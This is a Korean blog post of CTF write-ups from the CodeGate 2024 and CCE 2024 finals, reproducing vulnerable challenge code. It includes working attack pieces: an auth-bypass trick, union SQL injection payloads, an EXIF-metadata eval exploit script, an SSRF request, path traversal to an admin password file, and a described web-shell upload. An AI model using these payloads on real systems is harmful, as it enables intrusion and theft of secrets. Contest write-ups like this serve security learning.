일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- CODEGATE
- crosssitescripting
- webhacking.kr
- SQL Injection
- Los
- 해킹
- SQLInjection
- sqli
- hacking
- 상호배제
- 운영체제
- WebHacking
- CCE
- 웹해킹
- 시스템프로그래밍
- 알고리즘
- 프로세스
- Writeup
- lordofsqlinjection
- Linux
- web
- ubuntu
- XSS
- ctf
- MySQL
- 시스템
- SQL
- rubiya
- webhackingkr
- Python
- Today
- Total
One_Blog
2024 CCE & CodeGate 2024 Final Web Writeups 본문
이번에 CCE / CodeGate 2024 본선에 다녀왔고,
codegate는 예선과 같은 11등, CCE는 3등이라는 성과를 거두었다.
코게는 수상이 어려울 거라고 생각했고, CCE는 수상은 할 거 같았는데 1 / 2 / 3위 중
어떤 순위를 차지하느냐의 문제라고 생각했는데..
너무 내 예상대로 흘러간 것 같아 아쉬웠다.
물론 두 대회 다 댈 핑계는 많지만..
뭐 결과적으로 실력이 부족했다고 생각한다.
작년에 누구처럼 0솔짜리 웹 문제 싹 다 풀었으면 부족할 거 없이 1등을 차지할 수 있었을 것이기 때문이다.
코드게이트 스코어 보드인데, 난 11위를 차지했다.
1등은 선린의 msh1307 이었고, 2등은 나와 올해 같은 CTF팀인 luv(얘도 선린)이었다.
3등은 이스라엘의 ItayB라는 분이셨다.
이건 cce 순위표이고, 우리팀이 "솜사탕은씻어먹어요"팀이다.
비록 뭐 3등이긴 하지만.. 나름 만족스러운 게,
웹 6번 문제를 청소년 중에 유일하게 우리팀만 풀었기에, 이게 나름 자랑스럽고 만족스러웠다.
각설하고, 이제 웹 라업을 써보도록 하겠다.
추석 때 시간나서 쓰는 거라 간단하게 적을 것이다.
하하
CodeGate2024 Web Writeups
ShieldOSINT
Kotlin + Spring으로 짜여진 웹 서비스였다.
admin만 사용할 수 있는 기능이 있었는데, 인증 모델에 ROLE_USER가 ADMIN이어야 했다.
이걸 할려면 ShieldCloud.kt를 분석해야 했다.
package com.platform.shieldosint
import com.fasterxml.jackson.core.JsonParseException
import com.fasterxml.jackson.databind.JsonNode
import com.fasterxml.jackson.databind.ObjectMapper
import jakarta.servlet.http.HttpServletRequest
import jakarta.servlet.http.HttpServletResponse
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken
import org.springframework.security.core.Authentication
import org.springframework.security.core.GrantedAuthority
import org.springframework.security.core.authority.SimpleGrantedAuthority
import org.springframework.security.core.context.SecurityContextHolder
import org.springframework.security.web.authentication.AuthenticationSuccessHandler
class ShieldCloud : AuthenticationSuccessHandler {
override fun onAuthenticationSuccess(
request: HttpServletRequest,
response: HttpServletResponse,
authentication: Authentication
) {
val authorities: MutableList<GrantedAuthority> = authentication.authorities.toMutableList()
val shieldParamdata = request.getParameter("ShieldParam")
var user_role: String = "false"
if (shieldParamdata != null) {
try {
val shieldParamNode: JsonNode = ObjectMapper().readTree(shieldParamdata)
val shieldParam = shieldParamNode!!.get("user_role")
println("shieldParam: ${shieldParam} type: ${shieldParam::class.simpleName}")
user_role = shieldParam?.toString() ?: "false"
if (user_role == "true") {
authorities.add(SimpleGrantedAuthority("ROLE_USER"))
}
} catch (e: JsonParseException) {
authorities.add(SimpleGrantedAuthority("ROLE_USER"))
} catch (e: Exception) {
authorities.add(SimpleGrantedAuthority("ROLE_ADMIN"))
}
} else {
authorities.add(SimpleGrantedAuthority("ROLE_USER"))
}
val newAuth = UsernamePasswordAuthenticationToken(
authentication.principal,
authentication.credentials,
authorities
)
SecurityContextHolder.getContext().authentication = newAuth
response.sendRedirect("/")
}
}
보이는 바와 같이 ShieldParam을 추가하고, 해당 파라미터를 Json파싱할 때 JsonParseException외에 다른 Exception이
발생하면 ADMIN을 주고 있었다. 이게 뭔 개같은 로직인 지는 모르겠는데..
대충 이런식으로 {}를 주면 널 포인트 익셉션이 터져서 JsonParse익셉션이 아닌 다른 익셉션이 터지게 된다.
이러면 Admin기능을 쉽게 얻을 수 있고,
이후에 ApiController.kt에서 이상한 기능들을 쓸 수 있었다.
package com.platform.shieldosint.api
import com.platform.shieldosint.DataProvider
import com.platform.shieldosint.end.EndPointManager
import com.platform.shieldosint.reflect.ReflectionController
import com.platform.shieldosint.user.UserService
import jakarta.servlet.http.HttpServletRequest
import org.springframework.security.access.prepost.PreAuthorize
import org.springframework.stereotype.Controller
import org.springframework.web.bind.annotation.*
import org.springframework.web.context.request.RequestContextHolder
import org.springframework.web.context.request.ServletRequestAttributes
import java.net.InetAddress
import java.security.Principal
@RequestMapping("/api/v6/shieldosint")
@Controller
class ApiController(private val userService: UserService) {
@EndPointManager
@PreAuthorize("isAuthenticated()")
@GetMapping("/search")
@ResponseBody
fun search(
principal: Principal,
@RequestParam("s", required = false, defaultValue = "testQuery") searchcheck: String = "",
@RequestParam("q", required = false, defaultValue = "") querycheck: String = "",
@RequestParam("mp", required = false, defaultValue = "") magiccheck: String = ""
): String {
try {
val siteUser = userService!!.getUser(principal.name)
if (siteUser.session != "null") {
val reflectionController = ReflectionController()
val dataProvider = DataProvider()
dataProvider.initializeDatabase()
val methodName = searchcheck
val defaultQueryResult = reflectionController.reflectMethod(methodName)
val query = querycheck
if (query.isNotEmpty()) {
// methodName: String,
// query: String? = null,
// magicParam: Any? =
val customQueryResult = reflectionController.reflectMethod(methodName, query, magiccheck)
return "Query Result: $customQueryResult"
} else {
return "Query Result: $defaultQueryResult"
}
}
else {
return "session null ${siteUser.username}<br>${siteUser.session}"
}
} catch (e: Exception) {
return "Error"
}
}
@EndPointManager
@PreAuthorize("isAuthenticated()")
@GetMapping("/count")
@ResponseBody
fun count(
principal: Principal
): String {
try {
val siteUser = userService!!.getUser(principal.name)
userService.modify(
siteUser = siteUser
)
return "Username: ${principal.name}<br>count: ${siteUser.count}"
} catch (e: Exception) {
return "Error"
}
}
@PreAuthorize("isAuthenticated()")
@GetMapping("/recon")
@ResponseBody
fun recon(@RequestParam("domain") domain: String): String {
val domainRegex = "^[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,6}$".toRegex()
if (!domain.matches(domainRegex)) {
return "Invalid domain format. The domain can only contain letters, numbers, and periods (.) and must be in a valid domain format."
}
return try {
// subdomain result
"mail.${domain}<br>www.${domain}<br>api.${domain}<br>dev.${domain}<br>active.${domain}<br>admin.${domain}<br>cert.${domain}<br>cloud.${domain}<br>data.${domain}<br>docs.${domain}<br>file.${domain}<br>host.${domain}<br>stage.${domain}<br>stage2.${domain}<br>stage3.${domain}<br>test.${domain}<br>test-api.${domain}<br>web01.${domain}<br>web02.${domain}<br>web03.${domain}<br>web04.${domain}<br>web05.${domain}<br>web06.${domain}<br>web07.${domain}<br>web08.${domain}<br>service.${domain}<br>vpn.${domain}<br>vpn01.${domain}<br>vpn02.${domain}<br>vpn03.${domain}<br>vpn04.${domain}<br>vpn05.${domain}<br>stg.${domain}<br>stg-fastapi.${domain}<br>stg-test.${domain}<br>log.${domain}<br>router.${domain}<br>network.${domain}<br>desk.${domain}<br>sys.${domain}<br>cs.${domain}<br>"
} catch (e: Exception) {
"Recon Error: ${e.message}"
}
}
@PreAuthorize("isAuthenticated()")
@GetMapping("/token")
@ResponseBody
fun token(
): String {
return "operation user token: ?\nsystem user token: ?"
}
@PreAuthorize("isAuthenticated()")
@GetMapping("/status")
@ResponseBody
fun status(
): String {
return "ok"
}
@PreAuthorize("isAuthenticated()")
@GetMapping("/notice")
@ResponseBody
fun notice(
): String {
return "At ShieldOSINT, we are committed to delivering cutting-edge open-source intelligence solutions. Stay updated with our latest tools and insights to strengthen your security strategies. Together, we can navigate the evolving world of OSINT with confidence."
}
@PreAuthorize("isAuthenticated()")
@GetMapping("/dnslookup")
@ResponseBody
fun dnslookup(@RequestParam("domain") domain: String): String {
val domainRegex = "^[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,6}$".toRegex()
if (!domain.matches(domainRegex)) {
return "Invalid domain format. The domain can only contain letters, numbers, and periods (.) and must be in a valid domain format."
}
return try {
val inetAddress = InetAddress.getByName(domain)
"Domain: ${inetAddress.hostName}, IP Address: ${inetAddress.hostAddress}"
} catch (e: Exception) {
"An error occurred while looking up DNS: ${e.message}"
}
}
@EndPointManager
@PreAuthorize("isAuthenticated()")
@GetMapping("/query")
@ResponseBody
fun query(
principal: Principal,
@RequestParam("q") sessioncheck: String
): String {
try {
if (sessioncheck != "Y") {
return "Username: ${principal.name}<br>Session: null"
}
val requestAttributes = RequestContextHolder.getRequestAttributes() as ServletRequestAttributes
val request: HttpServletRequest = requestAttributes.request
val sessionId = request.session.id
val siteUser = userService!!.getUser(principal.name)
userService.sessionAdd(
siteUser = siteUser, session = sessionId
)
return "Username: ${principal.name}<br>Session: ${siteUser.session}<br>Add Success!"
} catch (e: Exception) {
return "Error"
}
}
}
여기서 /query 엔드포인트를 써서 세션 체크를 통과하게 하고,
package com.platform.shieldosint
import java.sql.Connection
import java.sql.DriverManager
import java.sql.SQLException
class DataProvider {
private val jdbcUrl = "jdbc:h2:~/testdb"
private val username = "test"
private val password = "test"
private fun getConnection(): Connection {
return DriverManager.getConnection(jdbcUrl, username, password)
}
private fun isTableExists(tableName: String): Boolean {
val query = """
SELECT COUNT(*)
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME = UPPER('$tableName');
""".trimIndent()
try {
getConnection().use { connection ->
connection.createStatement().use { statement ->
val resultSet = statement.executeQuery(query)
if (resultSet.next()) {
return resultSet.getInt(1) > 0
}
}
}
} catch (e: SQLException) {
e.printStackTrace()
}
return false
}
fun initializeDatabase() {
if (!isTableExists("SITE_SECRET")) {
val createTableSQL = """
CREATE TABLE SITE_SECRET (
sdata VARCHAR(255)
);
""" // SITE_SECRET에 FLAG!
val insertDataSQL = "INSERT INTO SITE_SECRET (sdata) VALUES ('codegate2024{testflag}');"
try {
getConnection().use { connection ->
connection.createStatement().use { statement ->
statement.execute(createTableSQL)
statement.execute(insertDataSQL)
}
}
println("Table SITE_SECRET created and data inserted.")
} catch (e: SQLException) {
e.printStackTrace()
}
} else {
println("Table SITE_SECRET already exists, no data inserted.")
}
}
fun filterQuery(query: String): String { //쿼리 필터
val hasWhitespace = Regex("\\s")
val containsRuntime = Regex("(?i)runtime")
val containsJava = Regex("(?i)java")
val special_check1 = Regex("/")
val special_check2 = Regex("\\*")
val special_check3 = Regex("%")
val special_check4 = Regex("(?i)DROP")
val special_check5 = Regex("(?i)DELETE")
val isLengthValid = query.length <= 40
if (hasWhitespace.containsMatchIn(query) || containsRuntime.containsMatchIn(query) || containsJava.containsMatchIn(query) || special_check1.containsMatchIn(query) || special_check2.containsMatchIn(query) || special_check3.containsMatchIn(query) || special_check4.containsMatchIn(query) || special_check5.containsMatchIn(query) || !isLengthValid) {
return ""
}
return query
}
fun selectQuery(query: String = ""): String {
val selectSQL = "SELECT SUBJECT FROM QUESTION WHERE ID>=1 and ID<=10"
val filteredQuery = filterQuery(query)
val finalQuery = if (filteredQuery.isNotBlank()) "$selectSQL $filteredQuery" else selectSQL
println("Executing SQL: $finalQuery")
try {
getConnection().use { connection ->
connection.createStatement().use { statement ->
val resultSet = statement.executeQuery(finalQuery)
val results = StringBuilder()
while (resultSet.next()) {
results.append(resultSet.getString(1)).append("\n")
}
return results.toString().trim()
}
}
} catch (e: SQLException) {
e.printStackTrace()
}
return "fail"
}
fun testQuery(query: String): String {
val testSQL = "SELECT USERNAME FROM SITE_USER ORDER BY USERNAME DESC LIMIT 10"
try {
getConnection().use { connection ->
connection.createStatement().use { statement ->
val resultSet = statement.executeQuery(testSQL)
val results = StringBuilder()
while (resultSet.next()) {
results.append(resultSet.getString(1)).append("\n")
}
return results.toString().trim()
}
}
} catch (e: SQLException) {
e.printStackTrace()
return "fail"
}
}
}
여기있는 메서드 중에 selectquery메서드를 통해
Union Sql injection을 터트려 쉽게 플래그를 얻을 수 있었다.
이게 뭔 문제냐
Combination
이것도 뭘 알려주고 싶은지 솔직히 모르겠다.
import os
import io
import re
import cv2
import uuid
import json
import piexif
import struct
import socket
import hashlib
import exiftool
import exifread
import numpy as np
from dotenv import load_dotenv
from PIL import Image
from PIL import ExifTags
from PIL.PngImagePlugin import PngInfo
from PIL.ExifTags import TAGS, GPSTAGS
from werkzeug.utils import secure_filename
from flask import Flask, session, request, jsonify, render_template
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
UPLOAD_FOLDER = 'uploads/'
ALLOWED_EXTENSIONS = {'png','jpeg'}
DEV_ENV = None
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
load_dotenv()
domain_pattern = r"^(?!-)[A-Za-z0-9-]{1,63}(?<!-)(\.[A-Za-z]{2,})+$"
ipv6_pattern = r"^([0-9a-fA-F]{1,4}:){7}([0-9a-fA-F]{1,4}|:)$|^(([0-9a-fA-F]{1,4}:){1,7}|:):([0-9a-fA-F]{1,4}|:)(:[0-9a-fA-F]{1,4}){1,6}$|^([0-9a-fA-F]{1,4}:){1,6}::([0-9a-fA-F]{1,4}:){1,5}([0-9a-fA-F]{1,4}|:)(:[0-9a-fA-F]{1,4}){1,4}$|^([0-9a-fA-F]{1,4}:){1,5}::([0-9a-fA-F]{1,4}:){1,4}([0-9a-fA-F]{1,4}|:)(:[0-9a-fA-F]{1,4}){1,3}$|^([0-9a-fA-F]{1,4}:){1,4}::([0-9a-fA-F]{1,4}:){1,3}([0-9a-fA-F]{1,4}|:)(:[0-9a-fA-F]{1,4}){1,2}$|^([0-9a-fA-F]{1,4}:){1,3}::([0-9a-fA-F]{1,4}:){1,2}([0-9a-fA-F]{1,4}|:)(:[0-9a-fA-F]{1,4}){1}$|^([0-9a-fA-F]{1,4}:){1,2}::[0-9a-fA-F]{1,4}:([0-9a-fA-F]{1,4}){1,6}$|^([0-9a-fA-F]{1,4}:){1,1}::([0-9a-fA-F]{1,4}:){1,7}|::([0-9a-fA-F]{1,4}:){1,7}$|^::$"
ipv4_pattern = r'\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b'
@app.route('/')
def home():
return render_template('combination.html')
def combine_images_sliced(image_path1, image_path2, output_path):
img1 = Image.open(image_path1)
img2 = Image.open(image_path2)
img1_dict = getattr(img1, 'text', {})
img2_dict = getattr(img2, 'text', {})
width1, height1 = img1.size
width2, height2 = img2.size
if height1 != height2:
return jsonify({'error': 'Both images must have the same height'}), 400
split_width1 = width1 // 2
split_width2 = width2 // 2
right_part_img1 = img1.crop((split_width1, 0, width1, height1))
left_part_img2 = img2.crop((0, 0, split_width2, height2))
combined_width = right_part_img1.width + left_part_img2.width
combined_height = height1
combined_img = Image.new('RGB', (combined_width, combined_height))
combined_img.paste(right_part_img1, (0, 0))
combined_img.paste(left_part_img2, (right_part_img1.width, 0))
bw_img = combined_img.convert('L')
file_ext = os.path.splitext(output_path)[1].lower()
if file_ext == '.png':
metadata = PngImagePlugin.PngInfo()
for key, value in img1_dict.items():
metadata.add_text(f'{key}', f'{value}')
for key, value in img2_dict.items():
metadata.add_text(f'{key}', f'{value}')
bw_img.save(output_path, pnginfo=metadata)
elif file_ext in ['.jpg', '.jpeg']:
exif_data = {}
img1 = Image.open(image_path1)
img2 = Image.open(image_path2)
try:
exif_data1 = get_info_data(img1)
exif_data2 = get_info_data(img2)
exif_data3 = get_exif_data(img1)
exif_data4 = get_exif_data(img2)
except Exception as e:
bw_img.save(output_path, 'JPEG')
return jsonify({'message': 'Struct is invalid. but, Files successfully uploaded and validated'}), 200
merged_exif_data = merge_info_data(exif_data1, exif_data2)
merged_exif_data2 = merge_exif_data(exif_data3, exif_data4)
exif_bytes = convert_exif_data_to_piexif_format(merged_exif_data2)
bw_img.save(output_path, 'JPEG', exif=exif_bytes)
def get_info_data(img):
exif_data = img.info.get("exif")
if exif_data:
return piexif.load(exif_data)
return {}
def get_exif_data(img):
try:
exif_data = img._getexif()
return exif_data
except Exception as e:
print(e)
def merge_exif_data(exif1, exif2):
try:
merged_data = exif1.copy()
merged_data.update(exif2)
except TypeError as e:
return merged_data
except AttributeError as e:
return {}
return merged_data
def merge_info_data(exif_data1, exif_data2):
merged_data = exif_data1.copy()
try:
merged_data.update(exif_data2)
except TypeError as e:
return merged_data
return merged_data
def convert_exif_data_to_piexif_format(exif_data):
piexif_dict = {
"0th": {},
"Exif": {},
"GPS": {},
"Interop": {},
"1st": {}
}
for tag, value in exif_data.items():
if tag in piexif.TAGS["0th"]:
piexif_dict["0th"][tag] = value
elif tag in piexif.TAGS["Exif"]:
piexif_dict["Exif"][tag] = value
elif tag in piexif.TAGS["GPS"]:
piexif_dict["GPS"][tag] = value
elif tag in piexif.TAGS["Interop"]:
piexif_dict["Interop"][tag] = value
elif tag in piexif.TAGS["1st"]:
piexif_dict["1st"][tag] = value
return piexif.dump(piexif_dict)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def validate_image(file_path):
try:
with Image.open(file_path) as img:
img.verify()
return True
except (IOError, SyntaxError) as e:
print(f"Invalid image file: {e}")
return False
def file_hash(file_path):
hash_sha256 = hashlib.sha256()
with open(file_path, 'rb') as f:
while chunk := f.read(8192):
hash_sha256.update(chunk)
return hash_sha256.hexdigest()
def validate_domain(domain):
if re.match(domain_pattern, domain) == None:
return 0
else:
return 1
def validate_ipv4(ipv4):
if re.match(ipv4_pattern, ipv4) == None:
return 0
else:
return 1
def validate_ipv6(ipv6):
if re.match(ipv6_pattern, ipv6) == None:
return 0
else:
return 1
def safe_eval(code_string):
allowed_globals = {
"__builtins__": {
'os': os,
},
}
allowed_locals = {}
try:
return eval(code_string, allowed_globals, allowed_locals)
except Exception as e:
print(f"Error evaluating code: {e}")
return None
@app.route('/verify', methods=['GET', 'TRACE'])
def verify_file():
flag = 0
if request.method == 'GET':
new_file_path = session.get('new_file_path')
if not new_file_path:
return jsonify({'error': 'No file to verify'}), 400
else:
return jsonify({'error': 'Verified'}), 200
if request.method == 'TRACE':
new_file_path = session.get('new_file_path') # 아까 세션에 저장한거 가져와서
try:
img = Image.open(new_file_path) # 이미지로 열고
file_ext = os.path.splitext(new_file_path)[1].lower() # 확장자 가져옴
if file_ext in ['.png']: # png면 바로 pass
metadata = img.text
return jsonify({'success': "Verified"}), 200
elif file_ext in ['.jpg', '.jpeg']: # jpg나 jpeg면...
img = Image.open(new_file_path) # 세션에 있는 결합 파일 경로 열어서
try:
if 'exif' in img.info: # 메타데이터에 exif 있는지 확인하고
exif_data = img.info['exif'] # 꺼내옴
if b"CODEGATE2024\x00" not in exif_data: # exif안에 CODEGATE2024\x00없으면
return jsonify({'error': 'Unsupported file parse'}), 400 # 조까
json_start_marker = b"CODEGATE2024\x00"
json_start_index = exif_data.find(json_start_marker) + len(json_start_marker) # CODEGATE2024\x00 이거 찾아서
json_data_bytes = exif_data[json_start_index:] # 이거 이후에 오는 데이터 뽑아오고
json_data_str = json_data_bytes.decode('ascii') # json형식으로 디코딩
try:
json_data = json.loads(json_data_str) # json 로드해서
except json.JSONDecodeError:
json_data = None
return jsonify({'success': "Verified"}), 200
except KeyError as e:
print('Index is not included')
try:
exif_data = img._getexif() # 이미지의 exif 데이터 다 뽑아옴
print(exif_data)
if exif_data:
exif = {ExifTags.TAGS.get(tag, tag): value for tag, value in exif_data.items()} # EXIF 태그 번호(tag)를 사람이 읽을 수 있는 태그 이름(예: ImageDescription, DateTime)으로 변환
for key, value in exif.items(): # _getexif로 가져온거 싹 다 keyvalue
if "ImageDescription" in key: # key에 ImageDescription있으면
ret = validate_domain(value) or validate_ipv4(value) or validate_ipv6(value) # value 체크
if not ret:
return jsonify({'success': 'Verified'})
if "(" in value:
return jsonify({'success': 'Verified'})
if ")" in value:
return jsonify({'success': 'Verified'}) # () 없어야하고 유효한 IP..
description_contents = safe_eval(value)
items_dict = dict(description_contents)
return jsonify({'debug': f'{items_dict}' })
except Exception as e:
print(e)
else:
return jsonify({'error': 'Unsupported file format'}), 400
if flag == 1:
return jsonify({'success': "This is an image"}), 200
else:
return jsonify({'success': "Verified"}), 200
except Exception as e:
return jsonify({'error': 'Error processing image'}), 500
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file-a' not in request.files or 'file-b' not in request.files:
return jsonify({'error': 'No file part'}), 400
file_a = request.files['file-a']
file_b = request.files['file-b']
if file_a.filename == '' or file_b.filename == '':
return jsonify({'error': 'No selected file'}), 400
if file_a and allowed_file(file_a.filename) and file_b and allowed_file(file_b.filename): # png, jpeg만 허용함
filename_a = secure_filename(file_a.filename) # 공백 없애고 경로 탐색 방지
filename_b = secure_filename(file_b.filename)
extension_a = os.path.splitext(filename_a)[1] # 확장자 가져옴
extension_b = os.path.splitext(filename_b)[1]
extension = extension_a #extension은 1번 파일 확장자로~~
if extension_a != extension_b: # 둘이 확장자 다르면 컷!
return jsonify({'error': 'Extentions are not identical. No further processing is needed'}), 400
filename_a = str(uuid.uuid4()) + extension_a # uuid에 확장자 더해주고
filename_b = str(uuid.uuid4()) + extension_b
file_path_a = os.path.join(app.config['UPLOAD_FOLDER'], filename_a) ## 업로드 폴더에 업로드해주고
file_path_b = os.path.join(app.config['UPLOAD_FOLDER'], filename_b)
file_a.save(file_path_a) # 저장해주고
file_b.save(file_path_b)
if validate_image(file_path_a) and validate_image(file_path_b): # img.verify()로 검증
if file_hash(file_path_a) == file_hash(file_path_b): # 8192바이트 읽어서 동일한 건지 확인
return jsonify({'error': 'Files are identical. No further processing is needed'}), 400
new_file_path = "uploads/" + str(uuid.uuid4()) + extension # 확장자 추가하고 새로운 파일
combine_images_sliced(file_path_a, file_path_b, new_file_path) # 결합 함수 호출
session['new_file_path'] = new_file_path # 세션에 저장
return jsonify({'message': 'Files successfully uploaded and validated'}), 200 # 처리 완.료
else:
return jsonify({'error': 'One or both files are not valid images'}), 400
else:
return jsonify({'error': 'Allowed file types are png, jpg, jpeg'}), 400
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host="0.0.0.0", port=3456, debug=False)
주석은 내가 분석해놓은 거다.
아무튼 설명하면, 이미지 2개를 합쳐주는 서버인데 ...
이미지 처리로직이 이상해서 특정 로직 몇개를 슈슉우회하면 메타데이터에 설정된 python 함수를 eval해주는 로직이었다.
그래서 대충 로직 우회하는 메타데이터 설정된 이미지 2개 만들어주고, 서버에 올리면
쉽게 익스플로잇이 가능했다.
참고로 플래그가 환경변수에 있고 ()를 쓰면 안되서 os.environ을 써줬다.
from PIL import Image, ImageDraw
import random
# Adjust the image size and quality to ensure the images are above 8KB
def create_large_random_image(size, color_mode="RGB"):
img = Image.new(color_mode, size)
draw = ImageDraw.Draw(img)
for i in range(size[0]):
for j in range(size[1]):
draw.point((i, j), fill=(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))
return img
# Create two larger random images
image1 = create_large_random_image((256, 256))
image2 = create_large_random_image((256, 256))
# Save the images ensuring they are larger than 8KB
file_path1 = "tmp1.jpg"
file_path2 = "tmp2.jpg"
image1.save(file_path1, "JPEG", quality=85)
image2.save(file_path2, "JPEG", quality=85)
file_path1, file_path2
이미지 파일 2개 만드는 코드
from PIL import Image
import piexif
# 이미지 열기
img = Image.open('./tmp1.jpg')
# EXIF 데이터 로드
img.info['exif'] = b'Exif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00'
exif_dict = piexif.load(img.info['exif'])
# 데이터를 \x43\x4f\x44\x45\x47\x41\x54\x45\x32\x30\x32\x34\x00\x31로 설정
custom_data = b'\x43\x4f\x44\x45\x47\x41\x54\x45\x32\x30\x32\x34\x00\x31'
# MakerNote 또는 UserComment에 데이터를 설정
exif_dict['0th'][piexif.ImageIFD.ImageDescription] = "os.environ"
exif_dict['Exif'][piexif.ExifIFD.MakerNote] = custom_data
# 또는
# exif_dict['Exif'][piexif.ExifIFD.UserComment] = custom_data
exif_bytes = piexif.dump(exif_dict)
img.save('./tmp1.jpg', exif=exif_bytes)
print("check")
메타데이터 설정해주는 로직
gg..너무 트릭류다.
Dyson
이것도 미친 트릭류다.
import requests
from flask import Flask, request, Response
from flask_compress import Compress
import re
app = Flask(__name__)
app.config["COMPRESS_ALGORITHM"] = ["gzip"]
Compress(app)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=["POST","GET"])
def spa_apps(path):
resp = requests.request(
method=request.method,
url='http://backend:3000'+request.full_path,
headers={key: value for (key, value) in request.headers},
data=request.get_data(),
cookies=request.cookies,
allow_redirects=False)
excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection','keep-alive']
headers = [(name, value) for (name, value) in resp.raw.headers.items()
if name.lower() not in excluded_headers]
response = Response(resp.content, resp.status_code, headers)
return response
def create_app():
return app
대충 이런식으로 response받아서 알려주는 서버가 코드 frontend 단에 구현되어있었고,
var g = require('dyson-generators');
var realFlag = require("fs").readFileSync("/flag.txt").toString();
module.exports = {
path: '/api/flagService',
exposeRequest: true,
cache: false,
template: {
flag: function(req) {
let guessPassword = false, guessFlag = false
try {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1' && req.socket.remoteAddress.replace(/^.*:/, '') != '1.3.3.7'){
return "Try Again!!"
}
if (req.query.guess !== undefined && typeof req.query.guess !== "string" && req.query.guess.length > 3) {
return "Try Again!!"
}
const SuperSecretPassword = "[REDACTED]"
[guessPassword, guessFlag] = req.query.guess !== undefined ? atob(req.query.guess).split("|") : ["idk", "idk"] // 세미콜론 스킵하면?
if (SuperSecretPassword == guessPassword) { // 할당 절차가 잘못됨
return realFlag
} else if (realFlag == guessFlag) {
return realFlag;
} else {
return "Try Again!!"
}
} catch {
return "Try Again!!"
}
},
status: 'OK'
}
};
내부적으로는 이런 서비스가 돌고 있었다.
우선 호스트 우회를 해야하는데..
호스트 우회는 DysonAPI의 https://github.com/webpro/dyson?tab=readme-ov-file#combined-requests
이 기능에서 SSRF를 터트려서 하는 것이 가능했고,
그러면 이제 가려진 플래그를 맞춰야하는데..
이건 라업을 듣고 머리가 띵했다.
내부 서비스 코드를 보면 어느 줄에는 ;가 찍혀있고 어느 줄에는 ;가 안찍혀있는 것을 볼 수 있다.
저것 때문에 JS 파싱이 잘못되어 SuperSecretPassword에 빈 배열이 할당되었던 것이다.
대강 이런 느낌인 거시다.
미친 트릭이다.
그래서 /api/flagService?,flagService?guess= 이런식으로 요청 보내면
플래그를 얻을 수 있따. (SSRF + JS Parsing Error)
CCE2024 Web Writeups
Onlyweb 문제가 3문제..? 정도 나왔는데.
하나는 블랙박스라 안봤다.
보라면 보긴 했는데 0솔이길래 안봤다.
04-정보자원관리원
최다 솔브 문제다.
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
<Directory /app>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
RewriteEngine On
RewriteRule ^/user/(.+)$ /app/user/$1/profile.json
RewriteRule ^/login$ /login.php
RewriteRule ^/report$ /report.php
RewriteRule ^/footer/(.+)$ /TODO.php
RewriteRule ^/about/(.+)$ /$1.xml
</VirtualHost>
대충 이런식으로 Apache2 RewriteRule을 쓰고 있는데,
.xml을 파싱하는 부분때문에 Path Traversal이 가능해서 admin의 pw를 읽어올 수 있다.
https://blog.orange.tw/posts/2024-08-confusion-attacks-en/
이렇게 해서 admin 얻고 나면 업로드된 파일들의 경로를 볼 수 있게 된다.
이때 파일 업로드 기능에서 zip 파일의 업로드를 막는 듯 보이나,
모든 업로드 절차를 한 후에 zip 파일외 파일 업로드가 안된다고 알리는 로직 때문에
안된것처럼 보여도 실제로는 웹 쉘 업로드가 가능하다.
그리고 파일 올릴 때는 name 파라미터 조작해서 파일을 원하는 곳에 올릴 수 있는데,
파일 명앞에 랜덤 문자열(10글자)가 붙는 게 문제였다.
근데 admin기능을 쓰게 되면 업로드된 파일명을 DB에서 조회할 수 있어서,
/about/app/user/admin/pw.json%3F
이걸로 admin 얻고 /admin/api/post_select.php 에서 union sqli해서
경로 얻어와 접근하고 웹 쉘 실행에 성공했다.
asdf' union select 1,2,evidence,4,5 from report#
pw.json 따는 데 한 2시간 걸리고 나머지가 3분안에 끝났다.
하
06-철도관제센터
이게 청소년 중에 나만 푼 문제다.
근데 언인텐으로 푼 것 같다. ㅋㅋ
내 풀이부터 말하자면,
admin 기능에서 header로 302와 /login을 설정해줘서
admin세션이 있어야 기능을 이용할 수 있는 것처럼 보이지만,
실제로는 header만 설정해주고 exit or die 동작이 없기 때문에 admin 세션 없이도 기능 쓰는 게 가능했다.
<?php
require_once "../lib/config.php";
if(!is_login() || !is_admin()) header("Location: ./login.php");
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] !== UPLOAD_ERR_OK) {
alert("업로드 에러!", "./index.php");
}
